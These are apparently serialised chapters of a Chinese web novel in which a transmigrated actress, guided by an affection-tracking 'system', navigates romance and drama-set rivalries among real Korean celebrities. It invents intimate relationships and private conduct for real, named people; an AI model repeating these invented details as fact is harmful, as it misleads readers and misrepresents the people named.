“要不尝试着在现实谈一段恋爱，有一个新的锚点，戒断反应会不会好一点。”他只觉得自己喉咙干哑，明明是很优秀的演员，但现在每个词都吐字不清。 还好每一个音节宋玉妍都听得清楚，她礼貌性地笑了笑，低头喝了一口咖啡。“也许吧。” 想到初遇那天的悸动，郑宇盛这些天反复回忆细节。米白色的裙子、火烧云的天空、熄灭的烟蒂、吸烟室外那大块大块的绿色草坪，美好地像是电影油画质地的画面。以及那份一触即离的细腻，都给予了他勇气。 “你……和李正宰xi是什么关系。”这个问题最后还是吞吞吐吐地问了出来，郑宇盛感觉他现在就像是被缚在高加索山上的普罗米修斯，等待着众神最后的宣判。 也许是不愿隐瞒，也许是笃定对方一定会包容她。宋玉妍把脸转了过来，重新注视这对方，“我和他现在处于介于恋人和朋友之间，过界的亲密关系。” 她攥着杯柄的手微微发紧，指尖泛着白。 这个答案，他听懂了，有种果然如此的感觉。床伴这个词出自李正宰之口，郑宇盛又在宋玉妍这里得到了确认。很难形容他现在的心情。 细细体会才发现，那是巨大的失落感没有缘由地攻击着他的心脏，脸上的笑容也开始变得勉强。但他还是风度翩翩地祝福着：“自己开心就好。” 自己开心就行，其他人没有资格对你的感情进行审判。 两人拿起白瓷咖啡杯，不顾礼节地轻轻碰了一下。 “oneshot。”又是一次异口同声，好像之前阴霾的气氛被一扫而空。 清脆的风铃声又再次响起，夕阳携带微暖的金光，棕木色的门外倾斜进来。黑色的牛津皮鞋在木质地板上敲击出沉闷的声音。 刚从聚会过来的李正宰，第一眼只看到了坐在角落里的郑宇盛。“真不明白你怎么会选这个地方，平时不是碰都不碰咖啡？” 走到他们所在咖啡桌的面前时，才发现一直背对着他的人是宋玉妍。 没等自家亲故回复，他先开始质问道：“你不是和我说没有时间吗？为什么也会在这里？你们两个是一起约好喝下午茶？” 这些天晚上他总会惊醒，有时伸手往旁边一揽，只留下一片冰冷，空空如也。李正宰不喜欢他们两个在一起的样子，每次看到会心脏莫名窒息发闷。 宋玉妍不想解释，报备行程是男女朋友要做的事情，解释也是。 看到她没有开口，他插在兜里的手握成了拳头，不安、焦躁和恼怒又一次席卷而来。脸色越发阴沉，对着宋玉妍说：“那你等会要和我们一起吃饭吗？” 转头看了看郑宇盛，宋玉妍最终还是答应了。 “你们两个去吧，我突然有点不舒服。”坐在一旁的郑宇盛对上自家兄弟略带挑衅的眼神，最后还是退让了。三个人的晚餐太过拥挤，他怕三人谁也吃不好。 听到他说不去了，宋玉妍也想说自己也不去，不想去吃这顿晚饭。但是对上李正宰难看的脸色，到底还是没有说出口。 车轮优雅地在车道上画着弧线，只是车内人的脸色没有这份控制力的游刃有余。 看着副驾驶上的宋玉妍，绿色的挖腰裙把她腰部美好的线条勾勒地淋漓尽致，侧身系安全带时，优美的弧度起伏。 李正宰看似专注于前方路段，实则余光一直在副驾驶身上。他知道的，如果他不开口说话，她是绝不会主动找话题的。 “恭喜你，九日牌的果汁广告很成功。” “谢谢，但是我更觉得你应该去恭喜金秀闲xi，很多女粉都是为了他买单。”宋玉妍有些疲惫地揉了揉太阳穴，然后把眼睛阖上，拒绝交流的意图十分明显。 他知道对方不太想和他交流，但是不甘心！不甘心她对着郑宇盛每次都是笑容满面，到他这里就是相顾无言。 这辆车坐起来有这么好睡吗？ 李正宰压制住内心的不快，想到两人不多的相处时间，还是努力地想要对方能开心一点。“你上次说的真露烧酒代言，帮你谈下来了。你到时候找权相俊，直接带你去签合约就好。” 烧酒代言啊！宋玉妍用手靠在车窗上，支起脑袋，不屑地撇了撇嘴。她当时就是随口一说，代言费那么少，她现在才不愿意呢。 《主君的太阳》再怎么说都是爆剧，这个时候再去代言真露对她来说加成没有那么大。当时想的是靠烧酒代言打开国民度，公司的规划运营已经达成了目的。现在很多观众可能叫不出宋玉妍的名字，但是一定会对脸有印象。 她撇了撇嘴，没有理会李正宰的话，而是换了这个姿势继续休息。离开郑宇盛之后，那股说不清道不明的低沉情绪又将她笼罩。 她完全可以分清楚自己和太伊玲，也能分清楚徐仁果和姜宇的区别。只是体会到一段虚假但美好的恋爱之后，宋玉妍有些失望。 真实的恋爱到底不如电视剧里那样，勾勒出的乌托邦式的恋爱关系完美。 李正宰自觉自己已经退让很多了，对方一而再再而三地的冷暴力让他心头的无名火烧的更旺了。言语间也不自觉地带出了点情绪，“烧酒代言也帮你谈了，我都不配你一个笑脸吗？” “我又没有说一定要这个，随口一说而已。” 宋玉妍这样满不在乎的态度彻底让他情绪在失控的边缘。 他在路口猛踩刹车。然后把车停到安全路段后，“你到底想怎么样？最先提出说床伴的人是你！然后出尔反尔的也是你！说要烧酒代言的是你，现在冷暴力的也是你！每次见面都没有话说，现在想和你聊聊天这么难吗？” 他竭力不让自己的姿态太难看，努力地想要维持着成熟男人稳重、体面的态度。 宋玉妍听到他说冷暴力这个词，不好的回忆被挑动了出来，疲惫过后烦躁的情绪涌了上来了。 “是我想要和你见面的吗？不是……”你求着我见面？这句话到底太难听了，没有说出口。“还有冷暴力，这我不是和你学的吗？你才是教会我冷暴力的老师啊，李正宰xi。” 是他拍戏的时候，经常以不习惯电子产品为理由，不回消息。每次吵架产生矛盾，永远把自己的感受放在第一位，不主动去解决问题，就留她一个人消化情绪。 宋玉妍觉得自己一点都不过分，她不过是以其人之道还治其人之身。 “好！那你说你现在想要什么？”李正宰也许是知道自己之前的恋爱方式有问题，但现在他想好好解决。 “我不要烧酒代言，代言 费太低。我要喜马拉雅铂金包。” “米求索？（疯了吧）” 整个南韩拥有这个包的，两只手都能数出来。况且那要爱马仕的vic才能订到，年消费没有二十亿韩元想都别想。 第27章 第二十七章 空气像是凝结了一般，只剩下汽车发动后，偶尔的排气声在车厢里面回荡。 宋玉妍垂下眼眸，纤长的睫毛遮住了她眼底的情绪。她从腿上拿起粉色的荔枝纹皮包，打开锁扣从里面取出耳机，戴上。双手抱胸，烦躁地闭着眼睛，眉心的紧蹙和紧绷着的嘴角，都在表达拒绝和他交谈。 看着前方跳到红灯的交通灯，李正宰心情烦躁地在方向盘上不轻地拍了一下。 不小心碰到了喇叭按钮，突如其来的喇叭声把心情不好的宋玉妍吓了一跳。她才不要内耗自己，柳眉倒竖，娇喝：“能不能好好开车，这样来一下，你是故意的吗？” “能不能讲点道理？”李正宰是真的头大，又拿她没有办法。说说不得，哄不给他机会哄，费尽心思给撕代言，也换不回一个好脸色。 好不容易能一起吃顿饭，拒绝买包，就又不理人了，连敷衍都没有。 “我不讲道理？不讲道理的到底是谁？李正宰xi。”宋玉妍冷着脸色瞪着他，丹凤眼里写满了故作生气。“是你自己先问我到底要什么的，好了，说了你又不高兴。” 李正宰是真的没办法了，轻言低语地想和她讲道理：“你是知道我打算和郑宇盛xi准备合伙开公司，一个铂金包是不算什么！但是问题是我不是爱马仕的vic啊。” 不是vic就订不到这种级别的包，要成为爱马仕的vic年消费要在二十亿韩元以上，差不多一年的片酬都要砸进去。 “你这么多年忠武路都白混了，我只是想要个包而已。”宋玉妍越想越委屈，“你们合伙开公司，让郑宇盛多出资金啊。与其他的钱给朋友骗走，还不如和你一起投资划算。” 连敬语都不说，她今天心情不好，打定主意要胡搅蛮缠下去了。 听到这里，心里的火也是压不住了。他的脸色一下就冷了下来，看向宋玉妍时，眼底没有丝毫的情绪，像是一片死水。 李正宰开始怀疑自己继续和她纠缠，是否是一个正确的决定？他剖开自己的内心，从上到下地审视着，这段感情是否还有存在的必要？ 对方和他的性格都没有改变，一直无休止地吵架、冷战、和好的状态，如今恐怕还会重新循环往复。 「宿主！你不要再刺激他了。攻略对象好感度从64掉到55！」 越想越觉得自己此时冷静地可怕，原本头脑中那一团乱麻，被他从中间斩成两半。 「宿主好感度掉到40！！！你快哄哄他。」 宋玉妍对脑海里的电子音充耳不闻，好像毫不在乎。 成年人的感情都要权衡利弊，他捏着今天西装外套上的红宝石胸针，不动声色地在心底评判着这份感情。 「宿主！！！好感度已经37了。」系统看着攻略对象的好感度面盘，数值跌的比熔断还可怕。它都吓出了鸡叫。 「别吵。」 宋玉妍不想金闵喜那样事事顺着他，自杀式恋爱只会换来一时欢愉。她才不会短时间内抛弃自己所有的特点，迎合对方的喜好，把自己打造成对方喜欢的类型。 她的眼尾立马就红了，丹凤眼立马湿润，泪水盈满了眼眶。想到原主之前恋爱受过的委屈，泪珠沾湿了羽睫，大颗大颗地滑落。腮边挂着一颗晶莹的珍珠，显得格外我见犹怜。 刚开始沉浸在思绪里的李正宰，并没有第一时间发现对方在无声的落泪。等她鼻子开始一抽一抽时，他转过脸才发现宋玉妍早已泪流满面。 他从未见过对方哭泣，唯一一次还是之前打电话时声音略带哽咽。 李正宰手脚慌乱地想要从西装口袋里抽出领巾给她。才发现，今天的配饰用了胸针就没有配领巾。他又手忙脚乱地打开各种小抽屉，想要找到纸巾给对方擦擦眼泪。 好不容易翻到一包抽纸，他看着包装，眼底的情绪很是复杂。无暇顾及那些情绪，先抽了两张，递给宋玉妍，让她先擦擦眼泪。 纸巾上的玫瑰味道一瞬间蔓延开了，这还是之前她给买的。那个时候宋玉妍还巧笑嫣兮地对着他说：“以后你开车，每次要用到这包纸巾时，闻到这馥郁的玫瑰味就会想起我了。” 是从什么时候开始，纸巾被收到角落？开始被他放在看不见的地方落灰。 她的脸上泪水止都止不住，拿着纸巾胡乱擦了几把后，干脆自暴自弃地侧靠在车椅头枕上专心哭，鬓角的碎发都被泪水濡湿。 微风也十分怜爱她，轻轻拨动着她的发丝，似乎想要帮她把眼泪拭去。宋玉妍眉头轻蹙，鼻尖微红，自顾自地哭得梨花带泪。 李正宰对这样的她完全生不起气来，原本冷静的脑子在她的泪水下停止了思考。 夜晚首尔点点的灯光，简直要盖住幕布上繁星的璀璨，没有人来得及去欣赏。 赶紧在街边找了个临时停车位，李正宰流畅地打着方向盘，先把车倒进去。然后轻柔地揽过宋玉妍的肩膀，让她把头靠在自己的肩膀上。 他再抽出所剩不多的抽纸，细致地把她脸上的泪痕擦拭干净，折叠好后，换干净的那面轻轻印在红肿的双眼上。 “你知道的，我还没有毕业就和你谈了恋爱。你也知道你是我的初恋！圈子里面那些乱七八糟的事情我从来不沾。”狠狠地把他推开，宋玉妍用微哑的声音控诉道。然后用手背在眼睛周围用力地擦了两把，力气大到几乎要把娇嫩的脸蛋挤变形。 “我只是想你能同样的爱意回报我，这很难吗？”双颊晕红，像是将开未开的玫瑰，她用湿漉漉的眼睛望着李正宰。 此时他只觉得既心软又愧疚，心脏在酸涩中夹着一丝微不可见的甜。 李正宰暗叹一声，把她的脸掰正过来。“我比你大很多，经历的也更多，有的时候情绪更加内敛，但这不代表我不……爱你。”这个词他像是很久都没有说了，居然有些生疏地说不出口。 “那我就想要一个包怎么了？我现在不想要你的爱，我想要很多很多钱。” “好，给你买。”最后还是他先投降，忽然有些挫败。看似在这段感情中，他是掌握主动权的那个。但其实每一次宋玉妍都在用各种方法，达到自己的目的。 “真露的代言我也要，等我拍完这部戏。”她轻轻垂着眼眸，楚楚可怜下是遮掩着的野心。 李正宰还能怎么办呢？他已经被吃得死死的。面对她时底线一退再退，只能叹口气之后，点头答应。 “还有每次都是吃法餐、法餐和法餐，我受够了白人饭。”她想到这里，是真的真情实感地哭了出来。每次都是那么一点点难吃的菜，不但吃不饱，还要各种小心翼翼地注意用餐礼仪。 “以前不是你最喜欢吃法餐的吗？你说这很浪漫。”李正宰无语道。看到对方又哽咽抽泣起来，他连忙道：“好好好，换一个，你想吃什么？韩餐吗？” “除了石锅拌饭和烤肉，就没有其他东西，我才不要吃这个。” “那中餐吧。吃松鼠桂鱼、烫干丝？” 宋玉妍不说话，就当是同意了。 他深呼出一口气，找到那片殷红，安抚性地轻轻啄了啄。然后把车掉头去另外一家中餐馆。在发动机启动时，李正宰脑海里一瞬间闪过怀疑。对方是不是在给他做服从性测试，随后立马否决了这个想法。 —— “九日牌果汁想签你做代言人 ，宋玉妍xi你怎么看？“裴永俊在办公室里和她开了个小会，关于日后职业发展的。 “老板你觉得呢？”她倾向于不签，这种国民度高的快消品，一般代言费都不多。更何况后续还有真露的代言，代言费高的话，就证明她当时没有白哭。 他把人体工学椅往后调，身体大幅度往后靠，双手交叠放在小腹上，椅子随着身体晃动。一派全然放松的样子。“我们公司向来都是民主的。”言下之意就是看她自己。 宋玉妍看着裴永俊身上昂贵的定制西装，被这样糟蹋，衣摆的褶子都快比他眼角处的多了。“那就不接吧。下面的骚乱是什么回事？” 之前公司虽然也有粉丝在门口蹲艺人，但都是有序的，从来没有出现过这种情况。 从落地窗外往下看，一小片粉丝聚集，围绕在三辆卡车周围，他们手上还拿着横幅和应援物。 “之前我去探班你们拍摄广告的时候，不知道被金秀闲那一个站姐拍到。说我们公司不重视他、区别对他，就拿着他的名气去奶新人。”想到这裴永俊也很是头疼，单手把头给支棱起来。 打开窗户，还能隐隐约约听到下方整齐划一的声音。 想到这，他就觉得好笑。哪一个艺人没有提携过公司的后辈？没有受过前辈的照顾？加上这是因为一束花引起的纠纷，裴永俊就更加头疼了。但如果重新来一次，去探班他一定准备两束花。 “需要我做什么吗？”宋玉妍也没有想到，那个导火索居然是她。 “算了，你站出来的话会更加火上浇油。对了你既不想接果汁代言，李正宰帮你撕的烧酒代言也还没有签！”裴永俊忽然坐直了身体，含笑地看着她。“那你想要什么代言，我让公司尽力帮你争取。” 听到这里，宋玉妍为自家老板的大气竖起了大拇指。“我们代表nim就是大气！我想要香奈儿的代言。” “你还真敢想！”香奈儿向来不太喜欢在韩国投放时尚资源。何况宋玉妍现在一个重量级奖项都没有拿到，居然敢肖想顶奢代言。 裴永俊被她气笑了。从桌上抄起一叠剧本，卷成筒状，然后轻轻在她脑袋上敲了一下。 宋玉妍假装吃痛地捂着“伤口”，眼泪汪汪地控诉着自家老板。 “你的新经纪人在门外，带上你的新剧本，回去好好研读一下。《继承者们》的剧本研读会你要是给我丢脸被作家退货，你就在keyeast干前台干到解约吧！” 第28章 第二十八章 “那完了，代表nim，我们公司的新艺人一看，连我这样的长相的都只能做前台，那他们岂不是只能去做清洁工？”宋玉妍秀气地皱了皱鼻头，故作不满道。 她像是一个骄傲的猫咪，昂起头颅，迫不及待地炫耀着自己黑曜石一般闪耀的眼睛和油光水滑的皮毛。 裴永俊拿她没有办法，只能佯装恼怒，“你快去和新经纪人见面，早点给我赚钱。公司给你投入的成本，现在都还没有收回来。” “内！”高跟鞋优雅地跨出，风衣衣摆不经意地扫过门缝。宋玉妍出办公室后四处张望了一下，没有发现有人在等她。 就在她觉得自己被老板给骗了，打算返回办公室找他理论时。走廊突然传来脚步声，略微软底的鞋踏在可以映出人影的瓷砖上，声音快速但不显急躁。 一个身影掠过一个又一个艺人的艺术照，最终站在宋玉妍面前。 “好久不见，宋玉妍xi！”李智真还是一如既往地干练，黑色西服外套里是衬衫和牛仔裤，脚下依旧是方便行动的斐乐猫爪鞋。看到自己曾经当妹妹一样看待的艺人，能在事业上平稳发展，她的眼底满是欣慰。 “欧尼！”宋玉妍很是惊喜，眼睛一下就湿润了。快步走了过去，给了她一个大大方方的拥抱。“你之前……不是都说不跳槽吗？” 她原本还想和自家老板说把之前的经纪人挖过来，但是出于尊重对方的个人意愿，一直没有开口。 李智真轻轻抱住她，顺手在她肩膀上安抚性地拍拍，然后分开。“我也不想的，但是你们老板给的太多了。” 裴永俊三天两头地去她公司挖墙角，一次一次加价码，这简直就是赤裸裸的阳谋。正好前经纪公司的老板也不想干了，直接把公司一卖，回去继续考司法考试了。 “那是欧尼的工作能力能够配的上这样的待遇！”宋玉妍再次和前经纪人合作搭档，只觉得内心被暖流包围，整个世界都开始明亮了起来。 她又伸手摸了摸宋玉妍，认真道：“那你可要好好赚钱，代表现在只给我分了你这一个艺人。还有伯母的病情现在好一些了吗？” “现在还可以，前天打电话时，精神状态还不错。”宋玉妍想到自己刚来这个世界时，李智真不由分说地给她打过一笔钱，心下一片温软。 从来就没有任何一个经纪人能做到像她这样的。关心已经解约的艺人，还贴钱工作。在她看来，两人之间的关系早就超越了同事的范畴。 傍晚的日落格外温柔，从透明的落地窗外映照进来金色的碎片，被她们用影子遮挡然后又归还给清澈的瓷砖。脚步声渐远，轻抚的晚风轻轻拍过肌肤、衣角、头发，像是在为她们的久别重逢祝贺。 —— 业内有句传言，金恩淑作家就是收视率的保障，她所有的作品都红极一时。《巴黎恋人》的平均的收视率更是达到惊人的56.3%。 而《继承者们》所有的角色，都是金作家亲自一个个面试然后挑出来的演员。宋玉妍也早就在剧本围读会之前，按照作家的要求将自己的发型换成了齐刘海。 围读会和定妆照是放在同一天，上午拍摄定妆照，下午就是所有演员开始剧本围读。 这天一早，李智真亲自过来来接她了。驾驶位上崔玉珍专心致志地开着车，后座上的两人一句一句聊得很开心。 “你怎么还住在考试院？帮代表nim省钱？”李智真有些不解，能有更好的居住环境这么会有人不去选择。 宋玉妍今天就是百搭的白衬衫加上方便的牛仔裤，脸上未施粉黛，看起来面色莹润，依旧是十分动人。 “欧尼，我习惯了，反正大部分的衣服服装师都会配好放在公司。所以也没有必要住那么大的空间。”她继续自己写的小传，小传并不厚，上面记满了各种为角色设置的小细节。 说到这里，经纪人就随她去了。想到裴永俊对于自家艺人那点若有似无的小心思，她心下还是有些担忧，但没有急着问出口。 然后开始给艺人宣告最近的行程，除了《继承者们》剧组的拍摄的通告之外。还要配合九日果汁和金秀闲的夏日宣传活动，以及首尔秋冬时装周嘉宾看秀。 “看秀什么的真无聊！”宋玉妍最讨厌的就是秀场。穿着是要符合要求的、仪态是要故作松弛紧绷着的，无数个摄像机对着你拍着一举一动，还要礼貌不失优雅地社交。 “不是你和代表nim说想要香奈儿的代言？不参加时尚活动，哪里来代言？”经纪人也是很无奈了，这位怎么突然任性了这么多？以前只是对剧本任性，只接自己想演的，现在是既要又要还要。 面对经纪人，宋玉妍乖巧地没有顶嘴，只是无辜地看着她。像是一个被顺毛后，乖巧可人的猫咪，躺平任撸。 李智真早就看清楚她的本性，知道这乖巧是装出来的。 到了围读会的地点时，留下经纪人在门外等着。宋玉妍自己先进去，发现大部分的演员都来了，但女 生这边只有女主朴信惠和郑秀京中间还有一个位置。 她落坐下去，朝两人友好地笑了笑。 这两位一位是偶像剧女王，一位是新生代的爱豆，年纪都不大。她应该是所有的演员里面年纪最大的了，以28岁的“高龄”来饰演高中生，这经历她还是头一次。 房间布满了摄像机，想来后续的演员应该是不会有太大的变动了。这种镜头前的营业还是要积极一点，不然后续剧粉扒物料，发现不合群的演员，会开始苛刻审判。 因为之前拍的电影比较多，和电视剧演员的交集并不多。她打量了周围一圈，只有金元的扮演者崔振和和她在《九家之书》剧组有过几面之缘。 宋玉妍干巴巴地起身，然后礼貌和对方打招呼、寒暄几句。没有了话题之后又尴尬坐下，只能专心继续看自己已经翻烂了的剧本。 作家还没有到，在旁边专心致志读着剧本的郑秀京侧过头来，看到是宋玉妍后，放下剧本。“宋玉妍xi”像是确认之后，从桌子下友好地伸出右手。 宋玉妍有些诧异，在她记忆里和郑秀京应该是没有交集的。 她这友好中带着亲近的语气是？但她还是顺着对方的动作，同样轻轻回握住郑秀京柔软白皙的手。 很快对方就给她解惑了。“10年大钟颁奖典礼的时候，我的欧尼在台上表演。表演完只有你一个演员鼓掌。”郑秀京当时也看了那场大钟的颁奖典礼的直播。 那是她姐姐第一次参加重大电影节的表演。秀妍本来整个人是很激动、兴奋，但是到了现场之后，整个人都失望了。主办方非但没有给他们九个人分配待机室，让所有的成员在狭小保姆车里面完成换衣服、化妆。就连彩排的时，工作人员都是不耐烦地颐指气使。 当时的少女时代还不是南韩登顶女团，那一次的表演也让她们打破了对忠武路的滤镜。爱豆在台上卖力演出，底下的演员们板着脸冷漠到可怕。 “虽然您鼓掌的画面全被剪掉，但是欧尼她记得很清楚。”郑秀京在心里默默地说了一句，她也印象很是深刻。 她已经出道了。当时看到就算是顶级女团，也换不来演员们尊重的掌声，就决定以后一定要往演员的道路上发展。 “欧尼当时回来就和我说了，下面一片演员前辈，就只看到了宋玉妍xi为她们鼓掌。”郑秀京有些感慨，没有想到性格这么好的前辈，也会离开忠武路。 宋玉妍搜寻了记忆，发现还真有这回事。不得不感叹一下，原主是真的很好的人，这也算是另一种种善因得善果了。 “《主君的太阳》我也在追，您和徐仁果xi的cp太好磕了！”郑秀京连忙翻到剧本空白的地方，“能给我签个名吗？” 虽然孔孝真和苏智燮也很有cp感。但她就是偏爱像太伊玲这样阳光、善良、勇敢追爱的性格，和看似冷漠其实心动不自知的姜宇很配。 “应该是我找你签名才对吧。你可是大势女团的成员呢！”宋玉妍一边给她签名，还给了寄语句尾画上爱心。一边如法炮制从包里掏出便签，要让郑秀京也签上名。 没有想到对方完全不在意她的爱豆出身，郑秀京脸上的笑容真切了许多。但是想到转回种花发展的队长，以及今年新专辑发行后下一次回归遥遥无期，她脸上的笑容就转为苦涩。 感知到对方情绪的不佳，宋玉妍只能在心底暗叹一声。kpop怎么会没有遗憾呢？就算是曾经的登顶团，在盛大落幕后，也会因为各种各样的原因不欢而散。 她重新把话题拉回到剧本上来，和对方聊了两句关于对手戏的处理，以及拍摄的小技巧。 看到郑秀京情绪重新提起来之后，宋玉妍才长舒一口气。不免在心里埋怨自己哪壶不开提哪壶，sm公司的骚操作在业内都是出了名的。 在场的演员大部分都不太熟悉，就算是面对镜头也很难作出营业状态。只有宋玉妍和郑秀京聊得热火朝天，镜头自然更多地偏向了她们。 金作家终于来了，戴着棒球帽和口罩，直接坐到了主位，旁边两排都是演员。戏份越重地离作家越近。 “废话不多说，大家开始谈谈对人物的理解吧！朴信慧xi，从你先来。” 室内瞬间为止一静，大家都从作家平静温柔的语气中听出了压迫感。仿佛在说，不理解剧本的现在就滚蛋。 朴信慧作为女主掏出自己的人物小传，有些小心翼翼地说出自己对女主的理解。听完她的理解后，金作家未作点评，直接点了下一个演员的名字。 不管有多红、地位有多高的演员，此时在金作家面前都如出一辙地垂着头，大气不敢出。大家都盯着自己的剧本，在心底反复排练着等会要说的话。 轮到金宇斌时，他先是阐述了崔英道这个角色的底色，然后说明了这个角色为什么会是这样的性格。 “骨子里是财阀二代的高傲漠然，和金叹因为身世闹掰了。因为父亲从小的棍棒教育导致压力更大，在学校了霸凌着比他地位低的社会关爱者。因为这是他父亲给他灌输，弱肉强食思想导致的……” 听到这里，宋玉妍在心里夸赞了一番，很难得新人能够带脑子演戏。 最后收尾时，金宇斌还cue到了宋玉妍，“崔英道和刘Rachel之间就是有些势均力敌的暧昧。我说的对吧？sister！” 第29章 第二十九章 这声sister一出，把包括作家在内的所有人都给逗笑了。原本严肃的气氛为止一轻。 金作家脸上终于带上了笑容，不再面色紧绷。就连全贤珠的表演者因为紧张开始磕磕绊绊，作家也只是很好心地提醒，然后让她坐下。 看着这一屋子俊男美女，金作家心情转晴，只觉得总算没有辱没自己剧本。毕竟偶像剧的三要素就是颜值！颜值！还有颜值！ 宋玉妍自从金宇斌喊她sister时，就似嗔非嗔地瞪了他一眼。明明不熟悉，却拿她作为破冰的突破口。 金宇斌则是无辜地耸了耸肩膀，表示自己不是有意地。明明是第一次见面，他就是莫名地想要逗逗宋玉妍。 她一进来，他就注意到了。明明都是快步入三十代的人了，但齐刘海下的精致脸庞看起来像是精致灵动的艺术品。侧过脸时，自带柔光滤镜，就连鼻尖的弧度都恰到好处。 低头用笔支着看剧本的样子恬静又美好，偶尔咬着花瓣一般自然粉嫩的饱满嘴唇，让他不自觉被吸引。 宋玉妍视线不经意地扫过来时，让他的心底泛起阵阵涟漪。 他无暇再去听其他的演员说话，视线一直在作家哪里。她和作家只隔着一个女主，这样余光可以在不经意间瞥过去。 等作家走后，之前大气都不敢出的郑秀京贴了过来。把脑袋枕在宋玉妍的手臂上，然后轻轻蹭蹭。 “好可怕，我恍惚回到了首尔艺高，被老师点名起来做数学题。”她恐惧地拍了拍胸前，作家的压迫感可比老师大多了。 “说平语吧！”看着比她小了快一轮的郑秀京，宋玉妍不知道为什么，对她有种莫名的亲近感。 也两人都有过从爱豆跨行到演员的经历吧！ “不太好吧。”她像只猫咪一样趴在对方的手臂上，尽管因为姐姐的事情，认定宋玉妍是个好相处的前辈。 但是在南韩这样前后辈等级森严的社会里，和前辈说平语被传出去，她的爱豆生涯也就到此为止。 “那就算了。”两人开始讨论首尔哪家美容院的效果更好。 “宋玉妍xi，我咖啡多点了一杯，你要不喝掉？”崔振和把一杯冰美式放在她的桌前。经纪公司让他和剧组成员处好关系，他私心先选择了宋玉妍。 她接过咖啡，笑得漂亮又张扬地和对方 道谢。 郑秀京看到这一幕，一副吃到瓜的表情。等他走后，拉了拉宋玉妍的袖子。“唔，wuli赤北夫妇可怎么办啊！” 还在上一个剧组的时候，她的乐趣就是上youtube刷刷两人单独的cut。本来还以为和宋玉妍合作能现场磕cp，结果现实给了她当头一棒。 宋玉妍无奈地看着她，捏了捏她的小腮肉，手感又嫩又弹。 “营业时间已经结束了，我进组了，他也进组了。”再浓烈的感情也会随着时间推移慢慢变淡。 想到这里，她心里既是难过又是烦躁。心情不好到把咖啡的吸管包装捏来捏去。 等到剧本围读会结束，去拍集体海报时，工作人员让她站在右边最角落的地方。这样的安排更加助长了她心底的负面情绪。 明明她是女二号，但还是以身高不够的理由给搪塞了。甚至连单人海报和双人海报都没有，宋玉妍到这里脸色已经很难看了。 “摄影pd，我想和宋玉妍zi拍一张双人海报可以吗？”金宇斌主动和工作人员提出要求。 面对作家从时尚界挖过来，亲自指名的“崔英道”，摄影师还是给了些薄面。 等到工作人员的答复后，金宇斌拉着她的手腕，把人带到摄影机前面。在被指导pose的时候，他还笑着说：“sister，我才是最可怜的，居然连个官配都没有，纯纯作家工具人。” 宋玉妍知道他是在安慰自己，但还是被他这说法逗笑了，眼睛弯起，浅色的眼珠像是琥珀色的宝石，十分明亮动人。 对方的身高太高了，就算是是穿了高跟鞋，她也只能到他的肩膀。抬头看也只能看到他优越的下颌线。 之前她一直都get不到丑帅感的长相，但是看到他好像懂了这类型的魅力。笔挺的西装衬得他模特身材更加颀长挺拔，眼位过高的单眼皮、挺直的山根和深邃的眉骨都增加了攻击性。 但当他一笑，属于大型犬的攻击性减弱了不少。 宋玉妍小弧度地朝他招了招手。他自然而然地弯下腰来，握成绅士拳，手臂扶住她的腰。 男方的领结有些歪了，顺手给他整理了一下。 摄影师本来只是想敷衍地随便拍两张，就当是给金宇斌交差。结果因为两人之间的身高差，宋玉妍符合人设的高傲表情和金宇斌的弯腰，居然莫名的有cp感。 低头那一瞬间像是主动让主人给他套上口套的巨型攻击犬。 一时间幻视超模在秀场上漫不经心地溜着她的杜宾犬。银色的高跟鞋像是尖刀一般，凿入地板。 双人海报拍好了后，宋玉妍独自去洗手间补妆，在隔间时听到外面传来交谈声。 “背靠大公司就是好，忠武路混不下去了，还能来金作家的电视剧做女二。” “就是，我刚刚给她化妆时，发现她除了漂亮一无是处。连和工作人员搞好关系的道理都不知道，我和她说话的时候反应冷淡的很。”她不屑地撇了撇嘴。 宋玉妍听出来了，其中有一个是给她海报化妆的化妆师声音。 “之前每个演员都过来试戏了，就她说生病了要好好休息。” 另一个化妆师又继续说道！“难怪金作家不喜欢她，原来只是纯纯给裴代表面子！就连剧组聚餐都不和她说。” 她在隔间的马桶上面腿都快坐麻了，听着她们话题越来越肆无忌惮。打开了一点门，唇线紧抿，眼神冷凝地透过门缝隙望着她们。 “还有郑秀京，真可怜，团队活动没有水花才独自出来拍电视剧的吧！”她们终于换了个人说。 “就是、就是，谁不知道sm公司对爱豆的个资把控特别严格！谁知道她这么好的资源怎么来的！” 宋玉妍终于忍不了了，直接推开门，然后啪的一下把门摔着关上。 那两人被惊地瞬间回头看了过来。 “我说，你们够了吧！”宋玉妍双手抱胸，精致的脸上满是怒容，眼底全是不快的韫色。 “剧组请你们过来，难道是为了让你们在背后说演员的吗？” 两人面上都不服气，但是知道闹到制片人那里去的话，被骂的肯定是她们自己。只能忍气吞声地鞠躬道歉。 “米亚内。” “米亚内。” 看着她们的背影，宋玉妍嗤笑了一声。地板被她用高跟鞋踩得哒哒作响。 路过休息室时，无暇顾及金宇斌和崔振和询问，带着眼尾的薄红，直接进了房间。 她有什么脾气当场就会发出来，绝对不会留到第二天。当下直接给去帮忙买晚餐的李智真打电话，“欧尼，今天的那个cody化妆技术太差了，我不喜欢。” 电话那边的经纪人有些为难，她不想自己艺人得到外界耍大牌的评价。“一定要换吗？她们这种造型团队都是固定配好的！” 换一个简直可以说是牵一发而动全身，整个化妆团队都对艺人会有意见的。 宋玉妍当然不会说，是因为听到人家在背后嘴她和其他演员所以才要换的。“欧尼，她今天给我化妆时，睫毛膏戳我眼睛了，化眼线时又戳了一次。她一点都不专业。” “好吧。”李智真在电话那头妥协道。 告完状之后的宋玉妍，胸口像是压着一块大石头，心里沉沉地下坠，憋闷地慌。 她立刻拨出李正宰的电话号码，不到两秒就被接通了。“我想要见你，半小时之后就要见到。” 电话那边的男声叹了口气，“《新世界》上映首日破了票房记录，我在汝矣岛这边参加采访，半个小时肯定赶不过来。” 宋玉妍难受的情绪更加，听到对方一口回绝后，直接把电话挂断了。当即就开始翻通讯录，寻找下一个可以分担自己情绪的人。 系统在宿主的脑海里无奈，谁惹这个活爹，她就找完人家的不痛快然后再让攻略对象不痛快。 「宿主，李正宰确实是有一个比较重要的采访。」 「闭嘴！」 另一端的李正宰察觉到对方应该是生气了。只能抱歉地和采访记者笑了笑，不好意思打乱了对方的采访节奏。 记者察觉到对方的心不在焉了，回来之后回答问题时，思考的时间明显变长。他当机立断地快速过了一遍台本，把原本要三个小时的采访，缩短了一半的时间。 等结束时，获得李正宰感激的笑容时，他就知道自己没有做错。 —— 弘大考试院 李正宰拿着权相俊给他买的玫瑰花束，在楼梯间中踱步。他给宋玉妍打了很多个电话，她都没有接，所以只能在这里等。 自从走红后，他很久都没有看到这样恶劣的居住环境了。 